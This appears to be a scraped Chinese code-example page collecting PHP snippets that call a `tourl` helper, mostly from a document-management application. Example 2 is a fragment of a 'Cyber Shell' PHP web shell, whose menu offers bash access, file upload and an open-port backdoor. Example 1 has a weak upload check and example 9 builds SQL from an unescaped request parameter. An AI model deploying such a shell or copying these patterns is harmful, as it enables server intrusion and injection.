本文整理汇总了PHP中tourl函数的典型用法代码示例。如果您正苦于以下问题:PHP tourl函数的具体用法?PHP tourl怎么用?PHP tourl使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了tourl函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: upload
function upload()
{
if ($_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "text/plain" && $_FILES["file"]["size"] < 10485760) {
if ($_FILES["file"]["error"] > 0) {
alert("文件错误");
tourl("upload.php");
} else {
if (file_exists("upload/" . $_FILES["file"]["name"])) {
alert("文件已经存在");
tourl("upload.php");
} else {
move_uploaded_file($_FILES["file"]["tmp_name"], "jpurnal/" . $_FILES["file"]["name"]);
//文件存储在journal文件夹中
alert("上传成功");
}
}
} else {
alert("文件类型不支持");
tourl("upload.php");
}
}
示例2: Shell
<option value="0">Показывать всё</option>
<option value="10">Первые 10</option>
<option value="20">Первые 20</option>
<option value="30">Первые 30</option>
<option value="50">Первые 50</option>
<option value="100">Первые 100</option>
<option value="200">Первые 200</option>
<option value="500">Первые 500</option>
<option value="1000">Первые 1000</option>
<option value="5000">Первые 5000</option>
</select>
<br>Включить ограничение на длину выводимых полей <input name="xlenth" type="checkbox" value="on" {$ch}><br>
<input type="submit" value="Применить" >
EOF;
if (isset($_SESSION[limit]) and $_SESSION[limit] !== "0") {
echo "<br>Текущее ограничение: {$_SESSION['limit']}";
}
}
if (isset($tools) or isset($tmysql)) {
echo "\n<center>\n<table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCCC'>\n<tr height='10'>\n<td align='center' bordercolor='#ECE9D8' bgcolor='#FFF8FF'>\n.: MySQL :.\n</td>\n</tr height='10'>\n<tr>\n<td align='center' bordercolor='#ECE9D8' bgcolor='#FFFFFF'>\n<form name='zapros' method='get' action=''>\n<table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>\n<tr align='center' >\n<td>\nHost\n</td>\n<td>\n<input name='db_server' type='text' value='localhost'>\n</td>\n</tr>\n<tr align='center' >\n<td>\nLogin MySQL\n</td> \n<td>\n<input type='text' name='db_user' value=''> \n</tr>\n<tr align='center' >\n<td>\nPassword MySQL\n</td> \n<td>\n<input type='text' name='db_pass' value=''>\n<input type='hidden' name='showdb'>\n</td> \n</tr>\n<tr align='center' >\n<td>\nИмя БД (не обязательно)\n</td> \n<td>\n<input type='text' name='showtables' value=''>\n</td> \n</tr>\n<tr align='center' >\n<td>\n<input type='submit'>\n</td>\n<td>\n<input type='reset'>\n</td>\n</tr>\n</table>\n</form>\n</td>\n</tr>\n</table>\n</center>\n";
}
echo <<<EOF
<center>.:Cyber Shell (v 1.0):.<br>Copyright © <a href="http://www.cyberlords.net" target="_blank">Cyber Lords Community</a>, 2002-2006</center>
</td>
</tr>
</table>
EOF;
$d = tourl($d);
echo "\n<center>\n<span class='style1'>\n<a href={$PHP_SELF}?d={$d}&diz&tmkdir>.: Создать папку :.</a>\n<a href={$PHP_SELF}?d={$d}&diz&tmkfile>.: Создать файл :.</a>\n<a href={$PHP_SELF}?d={$d}&diz&tbackdoor>.: Открыть порт для подключения :.</a><br>\n<a href={$PHP_SELF}?d={$d}&diz&tbash>.: Bash :.</a>\n<a href={$PHP_SELF}?d={$d}&diz&tupload>.: Закачать файл :.</a>\n</span>\n</center>\n";
}
die;
示例3: OtrasEmpresas_show
function OtrasEmpresas_show()
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db;
global $sRADICADOErr;
global $sFileName;
global $styles;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$sFormTitle = "Radicados encontrados por Otras Empresas";
$HasParam = false;
$iRecordsPerPage = 25;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = "";
$transit_params = "";
$form_params = trim(session_name()) . "=" . trim(session_id()) . "&krd={$krd}&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&s_ciudadano=" . tourl(get_param("s_ciudadano")) . "&s_empresaESP=" . tourl(get_param("s_empresaESP")) . "&s_oEmpresa=" . tourl(get_param("s_oEmpresa")) . "&s_entrada=" . tourl(get_param("s_entrada")) . "&s_salida=" . tourl(get_param("s_salida")) . "&";
//-------------------------------
// Build ORDER BY statement
//-------------------------------
$sOrder = " order by R.RADI_NUME_RADI Asc";
$iSort = get_param("FormOEMPRESAS_Sorting");
$iSorted = get_param("FormOEMPRESAS_Sorted");
$krd = strip(get_param("krd"));
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC ";
$sSortParams = "FormOEMPRESAS_Sorting=" . $iSort . "&FormOEMPRESAS_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ASC ";
$sSortParams = "FormOEMPRESAS_Sorting=" . $iSort . "&FormOEMPRESAS_Sorted=" . "&";
}
if ($iSort == 1) {
$sOrder = " order by r.radi_nume_radi" . $sDirection;
}
if ($iSort == 2) {
$sOrder = " order by r.radi_fech_radi" . $sDirection;
}
if ($iSort == 3) {
$sOrder = " order by r.ra_asun" . $sDirection;
}
if ($iSort == 4) {
$sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
}
if ($iSort == 5) {
$sOrder = " order by r.radi_nume_hoja" . $sDirection;
}
if ($iSort == 6) {
$sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
}
if ($iSort == 7) {
$sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
}
if ($iSort == 8) {
$sOrder = " order by dir.sgd_dir_mail" . $sDirection;
}
if ($iSort == 9) {
$sOrder = " order by o.sgd_oem_oempresa" . $sDirection;
}
if ($iSort == 10) {
$sOrder = " order by o.sgd_oem_rep_legal" . $sDirection;
}
if ($iSort == 11) {
$sOrder = " order by o.sgd_oem_nit" . $sDirection;
}
if ($iSort == 12) {
$sOrder = " order by o.sgd_oem_sigla" . $sDirection;
}
if ($iSort == 13) {
$sOrder = " order by o.sgd_oem_direccion" . $sDirection;
}
if ($iSort == 14) {
$sOrder = " order by o.sgd_oem_telefono" . $sDirection;
}
if ($iSort == 15) {
$sOrder = " order by u1.usua_nomb" . $sDirection;
}
if ($iSort == 16) {
$sOrder = " order by d1.depe_nomb" . $sDirection;
}
if ($iSort == 17) {
$sOrder = " order by r.radi_usu_ante" . $sDirection;
}
// if ($iSort == 18) $sOrder = " order by muni.muni_nomb" . $sDirection;
// if ($iSort == 19) $sOrder = " order by dpto.dpto_nomb" . $sDirection;
if ($iSort == 20) {
//.........这里部分代码省略.........
示例4: session_name
//Une en un solo campo los expedientes
if ($y != 0) {
include "cuerpoTabla.inc";
}
// Fila de la tabla con los resultados
include "getRtaSQLAnt.inc";
$y++;
} else {
if ($antfldEXP != "") {
$antfldEXP .= "<br>";
$antfldARCH .= "<br>";
}
$antfldEXP .= $fldEXP;
if ($fldARCH == 'SI') {
$encabARCH = session_name() . "=" . session_id() . "&buscar_exp=" . tourl($fldEXP) . "&krd={$krd}&tipo_archivo=&nomcarpeta=";
$antfldARCH .= "<a href='" . $ruta_raiz . "/expediente/datos_expediente.php?" . $encabARCH . "&num_expediente=" . tourl($fldEXP) . "&nurad=" . tourl($antfldRADICADO) . "' class='vinculos'>" . $fldARCH . "</a>";
} else {
$antfldARCH .= $fldARCH;
}
}
$rs->MoveNext();
}
if ($y != 0) {
include "cuerpoTabla.inc";
// Fila de la tabla con lso resultados
$y++;
}
$iCounter = $y - 1;
//cantidad de registros
?>
<tr class="titulos5" align="center">
示例5: RADICADO_show
function RADICADO_show()
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db;
global $sRADICADOErr;
global $sFileName;
global $styles;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$sFormTitle = "Radicados";
$HasParam = false;
$iRecordsPerPage = 50;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = "";
$transit_params = "";
$form_params = trim(session_name()) . "=" . trim(session_id()) . "&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&";
//-------------------------------
// Build ORDER BY statement
//-------------------------------
$sOrder = " order by R_RADI_NUME_RADI Asc";
$iSort = get_param("FormRADICADO_Sorting");
$iSorted = get_param("FormRADICADO_Sorted");
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC";
$sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ASC";
$sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . "&";
}
if ($iSort == 1) {
$sOrder = " order by R_RADI_NUME_RADI" . $sDirection;
}
if ($iSort == 2) {
$sOrder = " order by R_RADI_FECH_RADI" . $sDirection;
}
if ($iSort == 3) {
$sOrder = " order by R_RADI_NOMB" . $sDirection;
}
if ($iSort == 4) {
$sOrder = " order by RADI_NOMB " . $sDirection;
}
if ($iSort == 5) {
$sOrder = " order by radi_path" . $sDirection;
}
if ($iSort == 6) {
$sOrder = " order by RADI_NUME_IDEN" . $sDirection;
}
if ($iSort == 7) {
$sOrder = " order by TDOC_DESC" . $sDirection;
}
if ($iSort == 8) {
$sOrder = " order by DPTO_NOMB" . $sDirection;
}
if ($iSort == 9) {
$sOrder = " order by DIASR" . $sDirection;
}
if ($iSort == 10) {
$sOrder = " order by MUNI_NOMB" . $sDirection;
}
}
//-------------------------------
// Encabezados HTML de las Columnas
//-------------------------------
?>
<table width="1500" class="FormTABLE">
<tr>
<td class="FormHeaderTD" colspan="10"><a name="RADICADO"><font class="FormHeaderFONT"><?php
echo $sFormTitle;
?>
</font></a></td>
</tr>
<tr>
<td class="ColumnTD"><font class="ColumnFONT">#</font></td>
<td class="ColumnTD"><a href="<?php
echo $sFileName;
?>
?<?php
echo $form_params;
?>
FormRADICADO_Sorting=1&FormRADICADO_Sorted=<?php
echo $form_sorting;
?>
&"><font class="ColumnFONT">Radicado</font></a></td>
<td width="55" class="ColumnTD"><a href="<?php
//.........这里部分代码省略.........
示例6: dir
if($filetype==='md')
{WriteFile(dirname(__FILE__).'/journal/'.$file,dirname(__FILE__).'/journal/'.$filearr[0].'.htm');} //把md文件对应的htm生成出来
}
$mydir->close();
$mydir = dir(dirname(__FILE__).'/journal/');
//下面开始主页生成部分
@unlink(dirname(__FILE__).'/index.htm');
$index="";
while($file = $mydir->read())
{
global $index;
//提取后缀名
$filearr = explode(".",$file); //注意,file是路径
$filetype = end($filearr);
//操作后缀名是htm的
if($filetype==='htm')
{
$text=file_get_contents(dirname(__FILE__).'/journal/'.$file);
$title=getTitle($text);
$code=herf($title,dirname(__FILE__).'/journal/'.$file);
$index=$index.$code."<br>";
}
}
$mydir->close();
$file = fopen(dirname(__FILE__).'/index.htm', "a") or die("Unable to open file!");
fwrite($file, $index);
fclose($file);
alert("日志已经更新完成");
tourl('index.htm');
示例7: PRESTAMO_show
function PRESTAMO_show()
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db;
global $sPRESTAMOErr;
global $sFileName;
global $styles;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$sFormTitle = "Documentos Prestados";
$HasParam = false;
$iRecordsPerPage = 20;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = "";
$transit_params = "";
$form_params = "s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&";
//-------------------------------
// Build ORDER BY statement
//-------------------------------
$iSort = get_param("FormPRESTAMO_Sorting");
$iSorted = get_param("FormPRESTAMO_Sorted");
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC";
$sSortParams = "FormPRESTAMO_Sorting=" . $iSort . "&FormPRESTAMO_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ASC";
$sSortParams = "FormPRESTAMO_Sorting=" . $iSort . "&FormPRESTAMO_Sorted=" . "&";
}
if ($iSort == 1) {
$sOrder = " order by P.RADI_NUME_RADI" . $sDirection;
}
if ($iSort == 2) {
$sOrder = " order by P.USUA_LOGIN_ACTU" . $sDirection;
}
if ($iSort == 3) {
$sOrder = " order by D.DEPE_NOMB" . $sDirection;
}
if ($iSort == 4) {
$sOrder = " order by P.USUA_LOGIN_PRES" . $sDirection;
}
if ($iSort == 5) {
$sOrder = " order by P.PRES_DESC" . $sDirection;
}
if ($iSort == 6) {
$sOrder = " order by P.PRES_FECH_PRES" . $sDirection;
}
if ($iSort == 7) {
$sOrder = " order by P.PRES_FECH_DEVO" . $sDirection;
}
if ($iSort == 8) {
$sOrder = " order by P.PRES_FECH_PEDI" . $sDirection;
}
if ($iSort == 9) {
$sOrder = " order by P.PRES_ESTADO" . $sDirection;
}
if ($iSort == 10) {
$sOrder = " order by P.PRES_REQUERIMIENTO" . $sDirection;
}
if ($iSort == 11) {
$sOrder = " order by P.PRES_FECH_VENC" . $sDirection;
}
}
//-------------------------------
// HTML column headers
//-------------------------------
?>
<table class="FormTABLE">
<tr>
<td class="FormHeaderTD" colspan="10"><a name="PRESTAMO"><font class="FormHeaderFONT"><?php
echo $sFormTitle;
?>
</font></a></td>
</tr>
<tr>
<td class="ColumnTD"><a href="<?php
echo $sFileName;
?>
?<?php
echo $form_params;
?>
FormPRESTAMO_Sorting=1&FormPRESTAMO_Sorted=<?php
echo $form_sorting;
?>
&"><font class="ColumnFONT">Radicado</font></a></td>
//.........这里部分代码省略.........
示例8: PRESTADOS_show
function PRESTADOS_show()
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db;
global $sPRESTADOSErr;
global $sFileName;
global $styles;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$sFormTitle = "Documentos Prestados";
$HasParam = false;
$iRecordsPerPage = 100;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = "";
$transit_params = "";
$form_params = "s_DEPE_CODI=" . tourl(get_param("s_DEPE_CODI")) . "&s_PRES_DESC=" . tourl(get_param("s_PRES_DESC")) . "&s_PRES_ESTADO=" . tourl(get_param("s_PRES_ESTADO")) . "&s_PRES_REQUERIMIENTO=" . tourl(get_param("s_PRES_REQUERIMIENTO")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_USUA_LOGIN_ACTU=" . tourl(get_param("s_USUA_LOGIN_ACTU")) . "&s_USUA_LOGIN_PRES=" . tourl(get_param("s_USUA_LOGIN_PRES")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&";
//-------------------------------
// Build ORDER BY statement
//-------------------------------
$iSort = get_param("FormPRESTADOS_Sorting");
$iSorted = get_param("FormPRESTADOS_Sorted");
if (!$iSort) {
$form_sorting = "";
$sOrder = " order by P.PRES_FECH_PEDI DESC";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC";
$sSortParams = "FormPRESTADOS_Sorting=" . $iSort . "&FormPRESTADOS_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ASC";
$sSortParams = "FormPRESTADOS_Sorting=" . $iSort . "&FormPRESTADOS_Sorted=" . "&";
}
if ($iSort == 1) {
$sOrder = " order by P.RADI_NUME_RADI" . $sDirection;
}
if ($iSort == 2) {
$sOrder = " order by P.USUA_LOGIN_ACTU" . $sDirection;
}
if ($iSort == 3) {
$sOrder = " order by D.DEPE_NOMB" . $sDirection;
}
if ($iSort == 4) {
$sOrder = " order by P.PRES_FECH_PEDI" . $sDirection;
}
if ($iSort == 5) {
$sOrder = " order by P.PRES_REQUERIMIENTO" . $sDirection;
}
if ($iSort == 6) {
$sOrder = " order by P.PRES_FECH_PRES" . $sDirection;
}
if ($iSort == 7) {
$sOrder = " order by P.PRES_DESC" . $sDirection;
}
if ($iSort == 8) {
$sOrder = " order by P.PRES_FECH_DEVO" . $sDirection;
}
if ($iSort == 9) {
$sOrder = " order by P.USUA_LOGIN_PRES" . $sDirection;
}
if ($iSort == 10) {
$sOrder = " order by P.PRES_ESTADO" . $sDirection;
}
}
//-------------------------------
// HTML column headers
//-------------------------------
?>
<table class="FormTABLE">
<tr>
<td class="FormHeaderTD" colspan="10"><a name="PRESTADOS"><font class="FormHeaderFONT"><?php
echo $sFormTitle;
?>
</font></a></td>
</tr>
<tr>
<td class="ColumnTD"><a href="<?php
echo $sFileName;
?>
?<?php
echo $form_params;
?>
FormPRESTADOS_Sorting=1&FormPRESTADOS_Sorted=<?php
echo $form_sorting;
?>
&"><font class="ColumnFONT">Radicado</font></a></td>
<td class="ColumnTD"><a href="<?php
echo $sFileName;
//.........这里部分代码省略.........
示例9: HIST_EVENTOS_show
function HIST_EVENTOS_show()
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db;
global $sHIST_EVENTOSErr;
global $sFileName;
global $styles;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$sFormTitle = "Historico";
$HasParam = false;
$bReq = true;
$iRecordsPerPage = 20;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$transit_params = "";
$form_params = "radicado=" . tourl(get_param("radicado")) . "&";
//-------------------------------
// Build ORDER BY statement
//-------------------------------
$sOrder = " order by H.HIST_FECH Asc";
$iSort = get_param("FormHIST_EVENTOS_Sorting");
$iSorted = get_param("FormHIST_EVENTOS_Sorted");
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC";
$sSortParams = "FormHIST_EVENTOS_Sorting=" . $iSort . "&FormHIST_EVENTOS_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ASC";
$sSortParams = "FormHIST_EVENTOS_Sorting=" . $iSort . "&FormHIST_EVENTOS_Sorted=" . "&";
}
if ($iSort == 1) {
$sOrder = " order by H.RADI_NUME_RADI" . $sDirection;
}
if ($iSort == 2) {
$sOrder = " order by H.HIST_FECH" . $sDirection;
}
if ($iSort == 3) {
$sOrder = " order by U.USUA_NOMB" . $sDirection;
}
if ($iSort == 4) {
$sOrder = " order by D.DEPE_NOMB" . $sDirection;
}
if ($iSort == 5) {
$sOrder = " order by H.HIST_OBSE" . $sDirection;
}
}
//-------------------------------
// HTML column headers
//-------------------------------
?>
<table class="FormTABLE">
<tr>
<td class="FormHeaderTD" colspan="5"><a name="HIST_EVENTOS"><font class="FormHeaderFONT"><?php
echo $sFormTitle;
?>
</font></a></td>
</tr>
<?php
$pradicado = get_param("radicado");
$queryUsuActu = "select U.USUA_LOGIN AS U_USUA_LOGIN, U.USUA_NOMB AS U_USUA_NOMB from RADICADO R, USUARIO U, DEPENDENCIA D" . " WHERE U.USUA_CODI=R.RADI_USUA_ACTU and D.DEPE_CODI=R.RADI_DEPE_ACTU and U.DEPE_CODI=D.DEPE_CODI and R.RADI_NUME_RADI= {$pradicado}";
$db->query($queryUsuActu);
$next_record = $db->next_record();
if ($next_record) {
$fldUSUA_LOGIN = $db->f("U_USUA_LOGIN");
$fldUSUA_NOMB = $db->f("U_USUA_NOMB");
?>
<tr>
<td class="ColumnTD" colspan="5">
<font class="ColumnFONT">El usuario Actual es <?php
echo $fldUSUA_LOGIN;
?>
/ <?php
echo $fldUSUA_NOMB;
?>
</font></td>
</tr>
<?php
}
?>
<tr>
<td class="ColumnTD"><a href="<?php
echo $sFileName;
?>
?<?php
echo $form_params;
//.........这里部分代码省略.........
示例10: Ciudadano_show
function Ciudadano_show($nivelus, $tpRemDes, $whereFlds)
{
global $db2;
global $db3;
global $sRADICADOErr;
global $sFileName;
global $styles;
global $ruta_raiz;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$db = new ConnectionHandler($ruta_raiz);
if ($tpRemDes == 1) {
$tpRemDesNombre = "Por Ciudadano";
}
if ($tpRemDes == 2) {
$tpRemDesNombre = "Por Otras Empresas";
}
if ($tpRemDes == 3) {
$tpRemDesNombre = "Por Entidad";
}
if ($tpRemDes == 4) {
$tpRemDesNombre = "Por Funcionario";
}
if ($tpRemDes == 9) {
$tpRemDesNombre = "";
$whereTrd = " ";
} else {
$whereTrd = " and dir.sgd_trd_codigo = {$whereFlds} ";
}
if ($indiVinculo == 2) {
$sFormTitle = "Expedientes encontrados {$tpRemDesNombre}";
} else {
$sFormTitle = "Radicados encontrados {$tpRemDesNombre}";
}
$HasParam = false;
$iCounter = 0;
$iPage = 0;
$bEof = false;
$iSort = '';
$iSorted = '';
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = '';
$sDirection = '';
$sSortParams = '';
$transit_params = '';
$iRecordsPerPage = 25;
//Proceso de Vinculacion documentos
$indiVinculo = $_GET["indiVinculo"];
$verrad = $_GET["verrad"];
$carpeAnt = $_GET["carpeAnt"];
$nomcarpeta = $_GET["nomcarpeta"];
// Build ORDER BY statement
//$sOrder = " order by r.RADI_NUME_RADI ";
$sOrder = " order by r.radi_fech_radi ";
$iSort = $_GET["FormCIUDADANO_Sorting"];
$iSorted = $_GET["FormCIUDADANO_Sorted"];
$form_params = trim(session_name()) . '=' . trim(session_id()) . "&verrad={$verrad}&indiVinculo={$indiVinculo}&carpeAnt={$carpeAnt}&nomcarpeta={$nomcarpeta}&s_RADI_DEPE_ACTU=" . tourl($_GET["s_RADI_DEPE_ACTU"]) . "&s_RADI_NOMB=" . tourl($_GET["s_RADI_NOMB"]) . "&s_RADI_NUME_RADI=" . tourl($_GET["s_RADI_NUME_RADI"]) . "&s_TDOC_CODI=" . tourl($_GET["s_TDOC_CODI"]) . "&s_desde_dia=" . tourl($_GET["s_desde_dia"]) . "&s_desde_mes=" . tourl($_GET["s_desde_mes"]) . "&s_desde_ano=" . tourl($_GET["s_desde_ano"]) . "&s_hasta_dia=" . tourl($_GET["s_hasta_dia"]) . "&s_hasta_mes=" . tourl($_GET["s_hasta_mes"]) . "&s_hasta_ano=" . tourl($_GET["s_hasta_ano"]) . "&s_solo_nomb=" . tourl($_GET["s_solo_nomb"]) . "&s_ciudadano=" . tourl($_GET["s_ciudadano"]) . "&s_empresaESP=" . tourl($_GET["s_empresaESP"]) . "&s_oEmpresa=" . tourl($_GET["s_oEmpresa"]) . "&s_FUNCIONARIO=" . tourl($_GET["s_FUNCIONARIO"]) . "&s_entrada=" . tourl($_GET["s_entrada"]) . "&s_salida=" . tourl($_GET["s_salida"]) . "&s_DOCTO=" . tourl($_GET["s_DOCTO"]) . "&nivelus={$nivelus}&s_Listado=" . $_GET["s_Listado"] . "&s_SGD_EXP_SUBEXPEDIENTE=" . $_GET["s_SGD_EXP_SUBEXPEDIENTE"] . "&";
// s_Listado s_ciudadano s_empresaESP s_FUNCIONARIO
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC ";
$sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ";
$sSortParams = "FormCIUDADANO_Sorting=" . $iSort . "&FormCIUDADANO_Sorted=" . "&";
}
switch ($iSort) {
case 1:
$sOrder = " order by r.radi_nume_radi" . $sDirection;
break;
case 2:
$sOrder = " order by r.radi_fech_radi" . $sDirection;
break;
case 3:
$sOrder = " order by r.ra_asun" . $sDirection;
break;
case 4:
$sOrder = " order by td.sgd_tpr_descrip" . $sDirection;
break;
case 5:
$sOrder = " order by r.radi_nume_hoja" . $sDirection;
break;
case 6:
$sOrder = " order by dir.sgd_dir_direccion" . $sDirection;
break;
case 7:
$sOrder = " order by dir.sgd_dir_telefono" . $sDirection;
break;
case 8:
$sOrder = " order by dir.sgd_dir_mail" . $sDirection;
break;
case 9:
$sOrder = " order by dir.sgd_dir_nombre" . $sDirection;
break;
//.........这里部分代码省略.........
示例11: RADICADO_show
function RADICADO_show()
{
//-------------------------------
// Initialize variables
//-------------------------------
global $db;
global $sRADICADOErr;
global $sFileName;
global $styles;
$sWhere = "";
$sOrder = "";
$sSQL = "";
$sFormTitle = "Reporte";
$HasParam = false;
$bReq = true;
$iRecordsPerPage = 2000;
$iCounter = 0;
$iSort = "";
$iSorted = "";
$sDirection = "";
$sSortParams = "";
$iTmpI = 0;
$iTmpJ = 0;
$sCountSQL = "";
$transit_params = "";
$form_params = "s_RADI_DEPE_RADI=" . tourl(get_param("s_RADI_DEPE_RADI")) . "&s_desde_RADI_FECH_RADI=" . tourl(get_param("s_desde_RADI_FECH_RADI")) . "&s_hasta_RADI_FECH_RADI=" . tourl(get_param("s_hasta_RADI_FECH_RADI")) . "&";
//-------------------------------
// Build ORDER BY statement
//-------------------------------
$sOrder = " order by R.RADI_NUME_RADI Asc";
$iSort = get_param("FormRADICADO_Sorting");
$iSorted = get_param("FormRADICADO_Sorted");
if (!$iSort) {
$form_sorting = "";
} else {
if ($iSort == $iSorted) {
$form_sorting = "";
$sDirection = " DESC";
$sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . $iSort . "&";
} else {
$form_sorting = $iSort;
$sDirection = " ASC";
$sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . "&";
}
if ($iSort == 1) {
$sOrder = " order by R.RADI_NUME_RADI" . $sDirection;
}
if ($iSort == 2) {
$sOrder = " order by R.RA_ASUN" . $sDirection;
}
if ($iSort == 3) {
$sOrder = " order by R.RADI_FECH_RADI" . $sDirection;
}
if ($iSort == 4) {
$sOrder = " order by R.RADI_NUME_HOJA" . $sDirection;
}
if ($iSort == 5) {
$sOrder = " order by R.RADI_DESC_ANEX" . $sDirection;
}
}
//-------------------------------
// HTML column headers
//-------------------------------
?>
<table class="FormTABLE" width="715">
<tr>
<td class="FormHeaderTD" colspan="5"><a name="RADICADO"><font class="FormHeaderFONT"><?php
echo $sFormTitle;
?>
</font></a></td>
</tr>
<tr align="center">
<td class="ColumnTD" height="25" width="85"><a href="<?php
echo $sFileName;
?>
?<?php
echo $form_params;
?>
FormRADICADO_Sorting=1&FormRADICADO_Sorted=<?php
echo $form_sorting;
?>
&"><font class="ColumnFONT">Radicado</font></a></td>
<td class="ColumnTD" height="25" width="331"><a href="<?php
echo $sFileName;
?>
?<?php
echo $form_params;
?>
FormRADICADO_Sorting=2&FormRADICADO_Sorted=<?php
echo $form_sorting;
?>
&"><font class="ColumnFONT">Asunto</font></a></td>
<td class="ColumnTD" width="110" height="25"><a href="<?php
echo $sFileName;
?>
?<?php
//.........这里部分代码省略.........
示例12: comments
function comments($id, $root = '')
{
global $_PERSIST, $isauth, $isadmin, $falsecookie, $forgotten;
$posted = false;
if ($id[1] == '/') {
$comments =& $_PERSIST[$id[0]]['subdirs'][substr($id, 2)];
} else {
$comments =& $_PERSIST[$id];
}
echo '<h3 style="margin-top:100px" id="comments">Commentary</h3>';
if ($_POST['msg']) {
if (!($_POST['name'] = trim($_POST['name'])) || strlen($_POST['name']) > 64) {
echo '<p style="color:red">Error: Name is invalid.</p>';
}
if (!$isauth && simplify($_REQUEST['captcha']) != 'machinegun' && simplify($_REQUEST['captcha']) != 'mg') {
echo '<p style="color:red">Error: Wrong answer.</p>';
} else {
if ($isadmin) {
$comments[] = array('name' => stripslashes($_POST['name']), 'msg' => stripslashes($_POST['msg']), 'time' => time(), 'admin' => true);
} else {
$comments[] = array('name' => stripslashes($_POST['name']), 'msg' => stripslashes($_POST['msg']), 'time' => time());
}
if (persist_update()) {
